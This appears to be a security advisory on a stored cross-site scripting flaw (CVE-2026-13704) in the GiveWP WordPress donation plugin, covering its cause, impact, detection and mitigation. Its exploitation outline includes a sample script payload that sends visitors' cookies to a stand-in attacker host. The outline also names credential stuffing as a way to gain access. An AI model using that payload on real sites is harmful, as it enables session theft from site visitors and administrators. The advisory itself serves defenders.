CVE-2026-13704: 
WordPress Analyse et atténuation des vulnérabilités

CVE-2026-13704 is a Stored Cross-Site Scripting (XSS) vulnerability in the GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress. It affects all versions up to and including 4.16.1, where insufficient input sanitization and output escaping of the sequoia[introduction][image] parameter allows authenticated attackers to inject persistent malicious scripts. The vulnerability was published on July 2, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the handling of the sequoia[introduction][image] parameter within the Sequoia donation form template. Vulnerable code paths are identifiable in includes/admin/forms/class-metabox-form-data.php (line 1180), includes/formatting.php (line 758), and src/Views/Form/Templates/Sequoia/sections/introduction.php (line 33), where user-supplied input is stored without adequate sanitization and later rendered without proper escaping. Exploitation requires an authenticated session with at least Give Worker-level privileges, meaning the attacker must have a valid account with this role or higher on the target WordPress site (GitHub Advisory, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript into pages served to any user who visits the affected donation form. This can result in session cookie theft, credential harvesting, content defacement, malicious redirects, or execution of actions on behalf of site visitors — including administrators. The changed scope (S:C) in the CVSS vector reflects that the injected scripts can affect users beyond the attacker's own session, potentially compromising site visitors and administrators alike (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running GiveWP plugin version 4.16.1 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain credentials: Acquire or create an account with at least Give Worker-level access on the target site (e.g., through social engineering, credential stuffing, or a pre-existing legitimate account).
3. Navigate to donation form settings: Log in and access the GiveWP donation form editor, specifically the Sequoia template's introduction section settings.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the sequoia[introduction][image] parameter via the form's admin interface or a direct POST request.
5. Trigger execution: The injected script is stored in the database and executes in the browser of any user (including administrators) who visits the affected donation form page, enabling cookie theft, credential harvesting, or further attacks (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing authenticated POST requests to donation form admin endpoints with unusual or encoded content in the sequoia[introduction][image] field; repeated access to donation form pages by unfamiliar IP addresses shortly after form edits.
• File System: Unexpected modifications to GiveWP template files such as src/Views/Form/Templates/Sequoia/sections/introduction.php or related PHP files.
• Database: Database entries in the WordPress wp_postmeta or wp_options tables containing <script> tags or JavaScript event handlers associated with GiveWP form metadata.
• Network: Outbound requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from donation form pages.

Site administrators should update the GiveWP plugin to a version newer than 4.16.1 as soon as a patched release becomes available. In the interim, restrict Give Worker-level and higher access to only fully trusted users, and audit existing accounts for unauthorized privilege assignments. Implementing a Web Application Firewall (WAF) with rules to detect and block XSS payloads in form parameters is recommended as an additional layer of defense. Regularly review donation form content for unexpected script injections (Wordfence, GitHub Advisory).